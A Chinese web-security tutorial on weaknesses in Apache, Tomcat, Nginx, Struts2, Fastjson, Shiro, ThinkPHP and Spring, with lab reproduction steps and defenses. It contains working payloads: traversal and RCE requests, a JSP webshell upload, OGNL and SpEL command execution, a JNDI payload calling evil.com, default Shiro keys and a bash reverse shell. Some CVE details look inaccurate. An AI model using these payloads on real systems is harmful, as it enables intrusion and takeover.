当前位置：首页 > news >正文

关于 Web 安全：4. 中间件框架风险点分析

news 来源：原创 2025/5/25 5:42:51

一、Apache

Apache HTTP Server（httpd） 是全球最广泛使用的 Web 服务器之一，支持模块化扩展、高度配置灵活，常见于 Linux 服务器中。

默认端口：80（HTTP）
配置文件路径：/etc/httpd/conf/httpd.conf 或 /etc/apache2/apache2.conf
支持 .htaccess 进行目录级别配置

1.1 Apache 配置错误导致的绕过

1）.htaccess 限制绕过

.htaccess 文件可控制子目录访问权限，若配置不当，可被特殊路径绕过。

示例：

<Directory "/var/www/html/private">Order allow,denyDeny from all
</Directory>

但访问：

http://target.com/private/.%2e/
http://target.com/private/%2e%2e/

在某些旧版本中，.%2e 会被解析为 .. → 导致绕过。

2）Alias 配置引发的信息泄露

Alias /secret /var/backups/
<Directory "/var/backups">Require all denied
</Directory>

攻击者访问：

http://target.com/secret/.git/config

可能绕过访问限制。

3）多路径绕过

Apache 会将部分路径做解码后再处理，可能引发绕过：

%2e/ → ./
%2e%2e/ → ../
....// → ../

配合错误的路径解析逻辑，就能穿越目录限制，访问敏感文件。

1.2 Apache 目录穿越风险点（Directory Traversal）

1）原理：攻击者通过构造 ../ 或编码形式访问 Web 根目录外的文件。

2）示例请求：

GET /download?file=../../../../etc/passwd HTTP/1.1

如果没有做参数过滤，Apache 会将其视为路径拼接的一部分，读取系统敏感文件。

3）编码绕过形式：

编码形式	说明
`..%2f`	`../` 编码后
`%c0%ae%c0%ae`	过时编码法（Apache 1.x/2.0）
`....//`	多点形式绕过
`%2e%2e/`	同样表示 `../`

1.3 Apache 文件解析风险点（文件双扩展）

原理：Apache 解析文件时，仅按第一个后缀决定类型，例如：

test.php.txt → Apache 仍当成 PHP 执行（配置问题）

配合上传风险点使用，可以绕过上传限制，实际上传并执行 WebShell。

1.4 Apache RCE 风险点（远程命令执行）

虽然 Apache 本身结构比较简单，逻辑风险点少见，但其某些模块曾经存在过 RCE 风险点。

案例：Apache HTTP Server Path Normalization RCE

风险点编号：CVE-2021-41773、CVE-2021-42013
影响版本：Apache 2.4.49、2.4.50
触发条件：
- 配置开启了 Require all granted
- 使用路径绕过，如 %2e%2e

风险点利用：

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1

甚至可以直接 RCE：

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencodedecho;id

修复方法：

升级 Apache 至 >=2.4.51
禁用路径访问并配置严格 Directory 控制

1.5 安全配置建议（防止绕过/穿越）

项目	建议
`.htaccess`	不要依赖，仅在主配置中定义权限
URL 编码处理	禁用双重解码（`AllowEncodedSlashes NoDecode`）
文件上传	使用白名单校验后缀、类型
限制执行目录	`SetHandler none` 配合 `Directory`
禁止 .git / .svn	`RedirectMatch 404 /\.git`
开启 WAF / ModSecurity	阻止非法路径访问

1.6 实战环境与复现方式

推荐靶场（带 Apache 配置风险点）：

Vulhub: https://github.com/vulhub/vulhub
- 包含 CVE-2021-41773 的 Apache RCE 环境
风险点演示 Docker：

cd vulhub/apache/CVE-2021-41773
docker-compose up -d

然后访问：

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

1.7 自动化工具扫描

工具	用途
Nuclei	快速扫描 Apache CVE
xray	配合 Burp Suite 拦截/扫描
Dirsearch	扫描敏感目录路径
Nikto	检测 Apache 配置风险点

二、Tomcat

Apache Tomcat 是一款开源的 Java Servlet 和 JSP 容器，是运行 Java Web 项目的主流服务器，通常监听 8080 端口。典型部署路径：

/opt/tomcat/ 或 /usr/local/tomcat/

2.1 Tomcat 常见攻击面汇总

类型	风险点或问题
配置弱点	默认后台 / 弱口令 / manager 控制台未授权
文件上传	WAR 包部署 Getshell
路径穿越	利用 %c0%ae 编码穿越目录
RCE	多个 CVE 历史远程代码执行风险点
信息泄露	配置文件、版本、栈追踪
AJP 协议	AJP Ghostcat 风险点 RCE（CVE-2020-1938）

2.2 Tomcat 后台管理页面 Getshell

1）Tomcat 默认后台路径

/manager/html
/host-manager/html

若未设置密码或使用弱口令，攻击者可登录后台，上传 WebShell。

2）默认弱口令组合（字典打点）

用户名	密码
tomcat	tomcat
admin	admin
root	root
tomcat	(空)

可以用 nmap+http-enum 或 hydra 爆破登录后台。

3）后台上传 WebShell（WAR 包部署）

上传方式：

Tomcat 后台支持上传 .war 格式的 Java 应用包。只要上传成功，就能访问其中的 JSP 文件，实现命令执行。

手动部署流程：

制作一个 shell.jsp 并打成 .war 包，例如 shell.war
登录后台 /manager/html 页面，上传该 .war
访问：http://target:8080/shell/shell.jsp

这个是 Tomcat 最常见的打点方式之一。

2.3 Tomcat 任意文件上传（CVE-2017-12615）

风险点版本：Tomcat 7.x for Windows，在未开启 PUT 禁止的情况下，支持直接用 PUT 上传 JSP 文件。

利用流程：

curl -X PUT "http://target:8080/shell.jsp" -d "<% out.println('hacked'); %>"
curl http://target:8080/shell.jsp

条件：

Windows 环境
WebDAV PUT 方法未禁用
MIME 类型未限制

用法同文件上传风险点，最终直接访问上传的 JSP 文件实现命令执行。

2.4 Tomcat 路径穿越（CVE-2020-1938 / Ghostcat）

组件：AJP（默认监听 8009）

Apache JServ Protocol 是 Tomcat 内部通信协议，未认证，高危

风险点详情：

CVE-2020-1938
可利用 AJP 协议进行文件包含 / LFI / RCE
可读取 web.xml，甚至插入 WebShell

利用工具：

ajpShooter（可读配置文件）
GhostcatScan（批量扫描）
TomcatAjpExploit.py（远程写入 WebShell）

2.5 信息泄露风险

http://target:8080/examples/

暴露源码、上传功能、shell 文件等。

2）配置文件泄露

web.xml：可读取部署结构
tomcat-users.xml：后台账户密码
catalina.out：日志信息

2.6 实战复现：Tomcat 后台上传 getshell

环境部署（用 Vulhub）：

git clone https://github.com/vulhub/vulhub
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d

访问：

curl -X PUT http://localhost:8080/shell.jsp -d "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>"
curl http://localhost:8080/shell.jsp?cmd=whoami

2.7 安全防护建议

项目	建议
删除后台	上线时移除 `/manager` `/host-manager`
强密码	设置强管理员密码
禁止 PUT	在 `web.xml` 禁止 PUT 方法
关闭 AJP	不使用时直接注释 AJP 端口
限制上传目录	上传目录配置不允许执行（非 Web 根目录）
设置 MIME 类型	不允许 JSP 作为普通上传类型

2.8 辅助工具推荐

工具	用途
Nmap + NSE	检测后台、AJP 端口
Burp Suite	中间人攻击后台登录
Metasploit	`tomcat_mgr_upload` 模块
tomcatScan.py	爆破后台、上传 WAR 包
AjpShooter	AJP 文件包含、读取

三、Nginx 配置绕过

Nginx 是轻量级、高性能的反向代理服务器/负载均衡器，也可作为 HTTP 服务器使用，配置灵活但容易出现逻辑风险点。

常见路径：

/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

3.1 Nginx 配置绕过的本质

Nginx 本身不具备权限控制能力（不像 Apache 可配 .htaccess），它是基于 URI 路由规则匹配实现访问控制的。

如果配置不当或存在特殊匹配顺序问题，就可能被攻击者通过构造特殊路径来绕过访问控制、执行敏感操作或访问禁止资源。

3.2 常见 Nginx 绕过技巧

1）文件后缀伪装绕过（别名与路径处理不一致）

>示例配置：

location /uploads/ {deny all;
}location ~ \.php$ {fastcgi_pass 127.0.0.1:9000;
}

>绕过方法：

上传 shell.php.jpg，然后直接访问：

http://target/uploads/shell.php.jpg

Nginx 认为是静态资源（.jpg），但后端 PHP-FPM 可能仍会解析成 PHP 执行。

2）alias 搭配 location 配置错误导致绕过

location /static/ {alias /var/www/private/;deny all;
}

但若访问路径中包含 ..：

http://target/static/../private/config.php

则可能访问到 alias 指定目录外的文件（目录穿越），或因 解析位置不一致 被访问成功。

3）内部路径访问绕过

location /admin {allow 127.0.0.1;deny all;
}

在未启用 exact match 时，路径 /adminabc 会被匹配到 /admin，从而无法禁止访问。

>绕过方式：

http://target/admin.%00/
http://target/admin%20/
http://target/admin;/index.php

4）斜杠编码绕过（路径混淆）

Nginx 对 / 的编码和解码逻辑不严谨，存在如下绕过方式：

构造	说明
`%2e`	等价于 `.`
`%2f`	等价于 `/`
`%c0%ae`	老版本中等价于 `.`
`%ef%bc%8f`	全角斜杠

用于构造：

/admin%2f../uploads/
/admin%ef%bc%8f../uploads/

5）使用 $uri 与 $request_uri 不一致造成绕过

location /protected/ {root /data;try_files $uri =404;
}

若未正确处理 $request_uri，可能会将原始请求保留，从而产生解析差异导致绕过。

6）使用正则匹配导致权限绕过

location ~ ^/private/.*$ {deny all;
}

攻击者访问：

/private.evil/xx.php

绕过正则匹配条件（正则写法不严格）。

7）代理后端绕过：Nginx + PHP-FPM / Node.js 时路径控制不一致

Nginx 处理路径时解码，而后端应用如 PHP-FPM / Node.js 可能再次解码，造成双重解码绕过。

location ~ \.php$ {fastcgi_pass 127.0.0.1:9000;
}

上传一个 a.php%00.jpg，绕过 .jpg 白名单。

8）Nginx 无法禁止实际物理目录文件（与 try_files 配合）

location /admin {deny all;
}

但若 /admin/index.html 存在，且使用：

location / {try_files $uri $uri/ /index.php;
}

可能仍会访问成功。

3.3 实际风险点案例分析

CVE-2017-7529：Nginx range 越界整数溢出（DoS 信息泄露）

影响版本：< 1.13.3

攻击方式：构造非法 Range 头，造成整数溢出读取服务器敏感内容。

Range: bytes=-9223372036854775808,0

如果存在缓存代理服务，可造成信息泄露甚至崩溃。

SSRF 绕过场景（Nginx 转发时不验证 Host）

如果配置：

location /api/ {proxy_pass http://backend/;
}

攻击者访问：

curl http://target/api/http://127.0.0.1:9000/admin

后端未验证 Host，可能造成 SSRF + 内部接口访问。

3.4 防御与安全配置建议

项目	建议
路径匹配	使用 `=` 或 `^~` 精确匹配路径
禁止执行目录	将上传目录设为静态资源目录
后缀白名单	后端必须限制执行文件后缀
禁止特殊编码	设置 `merge_slashes off;` 等规则
拒绝不安全方法	如 PUT、TRACE 等
禁用 AJP / 限制内网	避免暴露后端协议端口

3.5 工具推荐

工具	用途
Dirsearch / Ffuf	发现被绕过的目录
Nuclei	快速检测路径绕过规则
Burp Suite	手动构造编码绕过请求
Nikto	检测 Web 服务配置风险点
Xray	自动识别 Nginx 配置问题

3.6 实战复现环境推荐

Vulhub 中的 Nginx 路径穿越与反代穿透环境
自建 Nginx 示例配置 + PHP-FPM 实现绕过和解析差异
配合 Burp 手动构造 %2e、%2f、%00 等路径参数进行验证

四、目录穿越

目录穿越（Directory Traversal） 是指攻击者利用服务端对用户输入的路径过滤不严，通过构造 ../ 或变种，访问本不应暴露的服务器文件，如配置文件、密码、敏感代码等。

本质：服务端直接或拼接式地读取了用户输入的文件路径，未做或未正确做 路径净化（path sanitization）。

4.1 常见利用方式

1）基本绕过方式（Linux）

GET /download.php?file=../../../../etc/passwd

2）Windows 系统下的路径穿越

GET /read?file=..\..\..\windows\win.ini

3）多层绕过构造技巧

构造方式	示例
URL 编码	`%2e%2e%2f` = `../`
双重编码	`%252e%252e%252f`
Unicode 编码	`%u2216u2216..%u2216`
文件截断	`file=../../../secret.txt%00.jpg`
大小写混淆	`..%2f..%5cetc/passwd`

4.2 目录穿越风险点常见场景

1）文件读取类接口

<?php
$file = $_GET['file'];
include("pages/" . $file);
?>

攻击：

/index.php?file=../../../../../../etc/passwd

2）下载功能

readfile("/downloads/" . $_GET['f']);

攻击：

/download?f=../../../etc/shadow

3）日志查看器、错误信息回显功能

很多后台管理系统或 CMS 也存在这种功能，被攻击者用于读取任意日志或代码文件。

4.3 真实案例分析

CVE-2021-41773（Apache 目录穿越 + RCE）

Apache 2.4.49/2.4.50 的路径规范化存在风险点
构造请求即可访问任意文件：

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd

如果开启了 CGI 解析甚至可远程执行命令（RCE）。

ThinkPHP 5.0.x 的任意文件读取

构造：

/index.php?s=../../../../../public/index/think/app/invokefunction&function=phpinfo

利用 think/invokefunction 接口实现文件包含甚至命令执行。

4.4 目录穿越变种风险点

1）任意文件读取（LFI）

Directory Traversal 往往是 LFI 的入口（Local File Inclusion）
利用 php://filter、zip、data 协议可进一步提升危害

2）配合上传 getshell（穿越路径控制写入位置）

上传点绕过时可以构造 filename=../../webroot/shell.jsp，从而造成任意文件写入 + Getshell

4.5 危险文件读取点汇总

文件名	说明
`/etc/passwd`	Linux 系统用户信息
`/etc/shadow`	密码哈希
`/var/log/nginx/access.log`	访问日志
`C:\Windows\win.ini`	Windows 配置文件
`web.xml / .env`	Web 项目配置信息
`.git/config`	Git 信息泄露
`config.php / db.php`	数据库密码

4.6 防御方式

防护措施	描述
路径白名单	严格限定可访问路径范围
路径净化	使用 `realpath()`、`basename()` 等函数处理
禁止 `..`	明确过滤 `../`、`..\`、编码后的形式
权限隔离	运行用户权限受限（无 root 读权限）
WAF 策略	拦截常见穿越 payload（`../`、`%2e%2e%2f`）
日志监控	实时记录并监控路径异常请求

4.7 目录穿越检测技巧

1）使用 Burp Intruder 自动爆破测试

Payload 列表示例：

../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5cwindows%5cwin.ini

2）Fuzz 文件读取接口的参数名

如 file=, path=, url=, page=, log= 等常见关键字。

3）使用自动化工具

工具	功能
DirBuster / Dirsearch	爆破目录路径
Burp Scanner / ZAP	自动检测穿越点
Nuclei	使用模板检测文件读取/穿越
LFI-Freak	自动化 LFI 风险点利用
DotDotPwn	专门的目录穿越 Fuzzer

4.8 实战复现环境推荐

Vulhub 示例：

git clone https://github.com/vulhub/vulhub
cd vulhub/apache/CVE-2021-41773
docker-compose up -d

然后：

curl http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd

4.9 小结

技术点	是否关键
是否可访问文件系统	是
是否能影响逻辑执行	是（如 PHP include）
是否可结合上传 Getshell	非常常见
穿越 + LFI / RCE 是否可联动	是
是否能轻松被发现	一般需构造精确路径绕过

五、Struts2

Struts2 风险点详解（历史风险点分析与复现）

Struts2 是 Apache 组织开发的 Java Web MVC 框架，由于其基于 OGNL（对象图导航语言）表达式处理机制，历史上曾多次爆出高危远程命令执行（RCE）风险点，造成了 大规模数据泄露与服务器被控。

Struts2 的核心问题：OGNL 表达式注入

OGNL 是 Struts2 的一种表达式语言，用于页面变量访问、标签处理等。但由于早期版本对输入参数未严格过滤，攻击者可以构造恶意表达式，并让服务器解析执行，从而远程执行系统命令。

5.1 代表性风险点一览

编号	风险点名	影响范围	危害
S2-005	OGNL 注入	<= 2.3.1	命令执行
S2-009	ClassLoader 泄露	多版本	远程读取任意类
S2-045	`Content-Type` RCE	2.3.5 - 2.3.31 / 2.5 - 2.5.10	命令执行
S2-046	REST 插件 RCE	2.1.2 - 2.3.31 / 2.5.x	命令执行
S2-052	默认 namespace 被利用	2.3.34 / 2.5.16	RCE
S2-057	RCE in `debugging` 模式	<= 2.5.17	命令执行

5.2 最著名风险点：S2-045（CVE-2017-5638）

原因：

Struts2 处理 Content-Type 时，会自动将其内容当作 OGNL 表达式处理
没有对 header 内容过滤

利用条件：

Struts2 运行版本为 2.3.5 ~ 2.3.31 或 2.5 ~ 2.5.10
使用了基于 Jakarta Multipart parser 的文件上传功能

风险点利用：

使用 BurpSuite 构造如下请求：

POST /index.action HTTP/1.1
Host: target.com
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Cmd', 'whoami')}.multipart/form-data...上传的 multipart 数据...

响应头中可获得命令执行结果：

HTTP/1.1 200 OK
X-Cmd: root

5.3风险点复现（以 Vulhub 为例）

1）环境搭建（S2-045）

git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-045
docker-compose up -d

2）POC 示例（Python）

import requestsurl = 'http://127.0.0.1:8080/index.action'
headers = {'Content-Type': "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','struts2_pwned')}.multipart/form-data"
}
files = {'file': ('1.txt', b'test')}
resp = requests.post(url, headers=headers, files=files)
print(resp.headers.get("X-Test"))

5.4 S2-046（REST 插件命令执行）

原理：

基于 REST 插件 URL 传参构造 OGNL 表达式
没有禁用 OGNL 动态执行机制

风险点示例：

GET /struts2-rest-showcase/orders/%{(#a=@java.lang.Runtime@getRuntime().exec('whoami')).toString()}

服务端直接执行命令 whoami。

5.5 防御方法

方法	描述
升级框架	使用最新 Struts2 版本，关闭 OGNL 动态访问
限制表达式执行	配置 `struts.ognl.allowStaticMethodAccess=false`
WAF 拦截	阻止带有 `%{}`、OGNL 特征关键字的请求
不暴露 REST 插件	禁用不必要的 REST 路由
输入校验	参数白名单、header 校验

5.6 常见 payload 特征（检测点）

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']...}
@java.lang.Runtime@getRuntime().exec('calc')
%{T(java.lang.System).getenv()}

5.7 真实案例：Equifax 数据泄露

时间：2017 年
利用了 Struts2 S2-045 风险点
泄露近 1.43 亿美国用户的敏感数据（社会安全号、地址、信用记录等）

5.8 工具推荐

工具	功能
Struts2-Scan	多版本 Struts2 自动检测
Nuclei	使用模板检测 OGNL 表达式注入
BurpSuite + 插件	主动扫描 S2 风险点
ysoserial	Java 反序列化搭配命令执行 payload 生成

5.9 小结

项目	分析
框架原理	OGNL 表达式机制
风险点点	Header、URL、参数被当作表达式执行
危害	RCE、服务器控制、信息泄露
修复建议	升级版本、关闭动态方法访问、WAF 保护
实战价值	超高，可直接 getshell

六、Fastjson

Fastjson 风险点详解（历史风险点分析与复现）

Fastjson 是阿里巴巴开源的 Java JSON 库，由于其设计上的自动反序列化能力，一度成为 Java 反序列化风险点最严重的攻击入口之一，攻击者可通过精心构造的 JSON 数据，在目标服务中 远程命令执行（RCE）。

6.1 Fastjson 原理简述

Fastjson 在解析 JSON 时，可以自动将 JSON 对象转化为 Java Bean 或任意类，若你传入如下数据：

{"@type": "java.lang.Exception","message": "hello"
}

Fastjson 会尝试实例化 java.lang.Exception 类并设置字段。这一特性本质上是自动反序列化，并允许执行类的构造函数或 setter 方法。

6.2 核心风险点：AutoType 开启时，任意类加载

什么是 AutoType？

Fastjson 提供的功能，可让用户通过 JSON 中的 @type 字段，指定反序列化的类名：

{"@type": "com.example.MyObject","a": 1,"b": "xxx"
}

风险点：

如果 @type 指定的是恶意类，如某些 JNDI 触发类或 TemplatesImpl，可造成 远程命令执行（RCE）
某些类会在初始化时执行命令（典型如 javax.naming.ldap, TemplatesImpl 等）

6.3 关键风险点时间线

风险点编号	版本	特征	危害
CVE-2017-18318	<= 1.2.47	`AutoType` 绕过	RCE
CVE-2020-10673	<= 1.2.68	多类触发命令执行	RCE
CVE-2022-25845	<= 1.2.80	新 bypass，WAF 难拦	RCE
CVE-2022-25845（新版）	<= 1.2.83	新利用链	命令执行

6.4 典型利用链

1）使用 TemplatesImpl + @type 构造反序列化链（依赖 commons-collections）

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["base64 编码的恶意类"],"_name": "aaa","_tfactory": {},"_outputProperties": {"javax.xml.transform.TransformerFactory": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"}
}

可远程执行 Java 类的静态方法、构造方法等。

2）JNDI 注入方式（Fastjson 会加载远程类）

{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://evil.com/Exploit","autoCommit": true
}

配合攻击者搭建的恶意 JNDI 服务器，最终可 RCE。

6.5 环境复现示例

1）环境搭建（推荐用 Vulhub 或手动）

git clone https://github.com/vulhub/vulhub
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

访问 http://127.0.0.1:8080/，输入 JSON：

{"@type":"org.apache.commons.collections.functors.InvokerTransformer","iMethodName":"exec","iParamTypes":["java.lang.String"],"iArgs":["calc"]
}

本地将弹出计算器（Linux 下可使用 gnome-calculator 或 xcalc）。

6.6 检测方法

1）识别是否使用 fastjson

返回头中含有 X-Fastjson-Version
响应异常中包含 com.alibaba.fastjson.JSONException
探测接口支持 JSON，发送恶意 @type 看是否报错

2）PoC 探测（版本判断）

{"@type":"java.lang.Class","val":"com.alibaba.fastjson.JSON"}

服务端返回 Class not found 或正常响应，即可判断解析引擎为 fastjson。

6.7 防御方式

防御方法	说明
禁用 AutoType	推荐：`ParserConfig.getGlobalInstance().setAutoTypeSupport(false)`
开启安全白名单	`addAccept()` 指定可反序列化类
限制反序列化类型	不让用户传 `@type`，前端参数控制
版本升级	最新版本对 AutoType 有严格限制
使用替代品	如 Jackson / Gson（无自动反射机制）

6.8 实战价值

利用点	是否关键
自动反序列化	是
无需依赖特定接口名	是，只要有 JSON 参数点
可结合 Shiro、Spring 等框架	是，组合攻击常见
适配多种反序列化链	是，如 CommonsCollections、BeanShell

6.9 攻击工具

工具	说明
fastjson-exploits	fastjson 各版本 POC 集合
fastjson-scanner	探测 fastjson 存在与否
ysoserial	构造反序列化 payload
JNDI-Injection-Exploit	配合 JNDI LDAP Server 利用 fastjson 加载远程类

6.10 小结

项目	描述
利用点	`@type` + autoType 支持
影响范围	Java Web 项目中大量使用 fastjson 的接口
危害	远程命令执行、反弹 shell
检测手段	探测 JSON 接口 + 版本识别
修复建议	升级版本、禁用 AutoType、加白名单

七、Shiro

Apache Shiro 风险点详解（反序列化 + RememberMe + 密钥爆破 + RCE）

Apache Shiro 是一个 Java 安全框架，用于：

用户认证（Authentication）
授权（Authorization）
加密（Cryptography）
会话管理（Session Management）

其中有一个功能是 “记住我”（RememberMe）——通过 Cookie 记录用户状态。

7.1 核心风险点原理：RememberMe 反序列化

Shiro 的 RememberMe 功能使用 Cookie 存储序列化后的 Java 对象（例如用户信息、认证状态等），并加密存储：

Cookie: rememberMe=Base64(Encrypted(SerializedObject))

问题出在：

这个对象是 Java 的反序列化对象
加密用的是对称加密（AES）+ 固定密钥（早期默认是 kPH+bIxk5D2deZiIxcaaaA==）
攻击者只要知道密钥，就可以自己构造恶意序列化对象、加密后发送，服务端反序列化时就会执行命令

7.2 Shiro 反序列化风险点时间线

风险	影响版本	风险点	危害
CVE-2016-4437	< 1.2.4	固定密钥 + 反序列化	RCE
CVE-2020-11989	< 1.5.2	AES GCM 参数缺陷	攻击 Cookie
未公开新链	持续影响	依赖 ysoserial 链	命令执行

7.3 攻击流程（经典 CVE-2016-4437）

1）信息收集

确认使用了 Shiro
响应中有 rememberMe=xxx 的 Cookie
有些情况下服务端会自动响应：

Set-Cookie: rememberMe=deleteMe

这是 Shiro 的特征响应，表示你传入的 rememberMe 不合法或过期。

2）构造恶意 payload（依赖反序列化链）

使用工具生成恶意 Java 序列化对象（例如通过 ysoserial）：

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/shiro_pwned" > payload.ser

3）使用默认密钥加密 payload

# 使用 AES CBC + PKCS5Padding 加密 + Base64 编码
key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')

使用加密后的结果放入 Cookie 发送：

Cookie: rememberMe=ENC(payload.ser)

服务端反序列化并执行命令。

7.4 风险点复现步骤（建议用 Vulhub）

1）环境搭建

git clone https://github.com/vulhub/vulhub
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

访问：http://127.0.0.1:8080/

2）使用工具进行攻击

推荐工具：shiro_exploit（可自动爆破密钥 + 利用）

https://github.com/feihong-cs/ShiroExploit

python shiro_exploit.py -u http://127.0.0.1:8080/ -g -k "kPH+bIxk5D2deZiIxcaaaA==" -c "ping xxx.dnslog.cn"

3）反弹 shell 利用

结合 CommonsCollections 链 + bash 反弹 payload：

bash -i >& /dev/tcp/ip/port 0>&1

7.5 实战技巧

如何识别目标使用了 Shiro？

访问后响应中出现 rememberMe=deleteMe
页面源码或 JS 中出现 org.apache.shiro
登录逻辑中含有 rememberMe 复选框
使用 Wappalyzer、WhatWeb 等指纹工具

7.6 爆破密钥字典（常用）

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

也可用工具自动爆破密钥：

java -jar ShiroAttack.jar -u http://target -g

7.7 防御方法

方法	描述
关闭 RememberMe	不使用 Cookie 保存认证信息
禁用 Java 反序列化	自定义 `ObjectInputStream`
移除不安全依赖链	如 `commons-collections`
修改密钥为随机值	不使用默认 AES 密钥
Shiro 升级到最新版	如 1.10+ 版本，增强了序列化校验
使用 JSON/Token 登录替代机制	避免状态写入 Cookie

7.8 工具推荐

工具	说明
ysoserial	Java 反序列化 payload 生成
ShiroExploit	自动化检测 + payload 构造
shiroScan	快速探测 rememberMe 特征
JNDIExploit + LDAP Server	结合 RMI/JNDI 利用链

7.9 小结

项目	分析
风险点	反序列化 + AES 固定密钥
触发条件	开启 RememberMe 且未改密钥
危害	RCE、命令执行、服务器控制
修复建议	升级、改密钥、禁用反序列化
实战价值	极高，内网渗透常见武器

八、ThinkPHP

ThinkPHP 风险点详解（历史 RCE 风险点合集 + 复现 + 实战）

ThinkPHP 是国内流行的 PHP 框架，由【TopThink 团队】开发，很多中小型企业与系统仍在广泛使用。

由于其魔术方法、自动加载、路由解析等机制，历史上出现了多个 远程命令执行（RCE）、变量覆盖、任意文件操作风险点，危害极大。

8.1 常见历史风险点版本及类型

风险点编号	版本影响	风险点类型	危害
CVE-2018-20062	ThinkPHP 5.0.23 ~ 5.0.24	控制器绕过 RCE	命令执行
CVE-2019-9082	ThinkPHP 5.0.22 ~ 5.0.23	路由解析注入	命令执行
未命名风险点	ThinkPHP 3.x	变量覆盖 / eval注入	RCE、信息泄露
目录穿越	ThinkPHP <=3.x	日志文件泄露	读敏感配置
文件包含	多版本	控制模板路径	任意文件读取/执行

8.2 关键风险点原理分析

[1] CVE-2018-20062：控制器方法绕过导致远程命令执行

原理：ThinkPHP 5.0 中有自动路由解析机制。攻击者可伪造 URL 路由参数，使框架误将某些方法当作控制器来执行，从而调用某些魔术函数（如 __call）。

POST /index.php?s=index/\think\Request/input HTTP/1.1
Content-Type: application/x-www-form-urlencoded_filter[]=system&_method=GET&get[]=whoami

_method 决定使用什么方式调用（如 GET）
_filter 可用 PHP 的函数名（如 system、phpinfo）
get[] 是函数参数（例如 whoami）

只要 POST 请求命中了 input() 方法，并使用 _filter[]=system，即可执行任意系统命令！

[2] CVE-2019-9082：构造控制器调用链，触发 call_user_func

GET /index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1

实际执行的是：call_user_func('phpinfo', 1);

也可以用 system, exec, passthru 等命令函数进行系统命令执行。

[3] ThinkPHP 3.x 系列：变量覆盖 + 模板包含

/index.php?s=/home/article/view_recent/name/1

可以通过路径操作将控制权交给攻击者上传的文件或目录。

很多版本未对控制器名、模板名进行严格过滤，攻击者能：

包含任意文件
控制模板路径
上传文件再包含 getshell

8.3 风险点复现（推荐用 Vulhub 或手动搭建）

示例一：CVE-2018-20062（ThinkPHP 5.0.23）

启动风险点环境：

git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5.0.23-rce
docker-compose up -d

利用：

POST /index.php?s=index/\think\Request/input
Content-Type: application/x-www-form-urlencoded_filter[]=system&_method=GET&get[]=whoami

返回结果中包含当前用户。

示例二：CVE-2019-9082（ThinkPHP 5.0.23）

GET /index.php?s=index/\think\app/invokefunction&function=system&vars[0]=whoami

可以更改 function=system，并设置 vars[0]=命令 来执行任意系统命令。

8.4 实战检测技巧

1）判断 ThinkPHP 框架

页面源码中含有 /thinkphp/
报错信息中有 Think\Exception
默认目录结构 /index.php?s=xxx

也可以用工具：

whatweb http://target

2）构造 POC 进行验证

如：

curl -X POST "http://target/index.php?s=index/\think\Request/input" \-d "_method=GET&_filter[]=system&get[]=id"

8.5 防御建议

方法	描述
升级框架到最新版本	官方已修复 5.0.25+ 和 5.1.31+
关闭自动路由	禁用 `URL_ROUTER_ON` 自动路由功能
开启调试模式限制	设置 `APP_DEBUG=false`
加白控制器与方法	避免反射任意类
使用 Web 应用防火墙（WAF）	拦截恶意参数访问

8.6 工具推荐

工具	功能
`thinkphp_rce.py`	多版本风险点检测
`fofa + ZoomEye`	搜索框架系统
`vulhub`	本地快速搭建靶场
`御剑 / dirsearch`	扫路径发现 thinkphp

8.7 小结

项目	内容
框架	ThinkPHP（国产最广泛）
风险点类型	RCE、变量覆盖、路径包含
典型风险点	CVE-2018-20062 / CVE-2019-9082
利用难度	低 - 中，适合新手实战
危害	任意命令执行，Webshell，提权
修复	及时更新版本 + 限制路由 + WAF

九、Spring 框架（SpEL注入、RCE）

Spring 是最常用的 Java 企业级开发框架之一，核心模块包括：

Spring MVC（Web 框架）
Spring Boot（快速构建服务）
Spring Security（安全认证）
Spring Expression Language（SpEL 表达式）
BeanFactory / ApplicationContext（依赖注入）

其风险点影响极广，尤其常见于：

SpEL 表达式注入
远程代码执行（RCE）
任意文件写入
反序列化触发链

9.1 SpEL 表达式注入（Spring Expression Language）

1）什么是 SpEL？

SpEL 是 Spring 的表达式语言，例如：

#{1 + 1}  // 输出 2
#{T(java.lang.Runtime).getRuntime().exec('calc')} // 执行命令

一旦用户输入的数据未正确过滤，被拼接到 SpEL 中，就会造成 表达式注入执行任意代码。

2）风险点成因场景

示例代码：

@RequestMapping("/test")
public String test(@RequestParam String name) {ExpressionParser parser = new SpelExpressionParser();Expression exp = parser.parseExpression(name);return exp.getValue().toString();
}

访问：

http://127.0.0.1:8080/test?name=T(java.lang.Runtime).getRuntime().exec("calc")

直接命令执行（弹出计算器）

3）利用方式

Payload	说明
`T(java.lang.Runtime).getRuntime().exec("whoami")`	执行系统命令
`new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).nextLine()`	获取命令输出
`T(org.springframework.util.StreamUtils).copy(...)`	利用反射进行更多复杂操作

4）修复建议

禁用动态 SpEL 执行
使用白名单表达式过滤
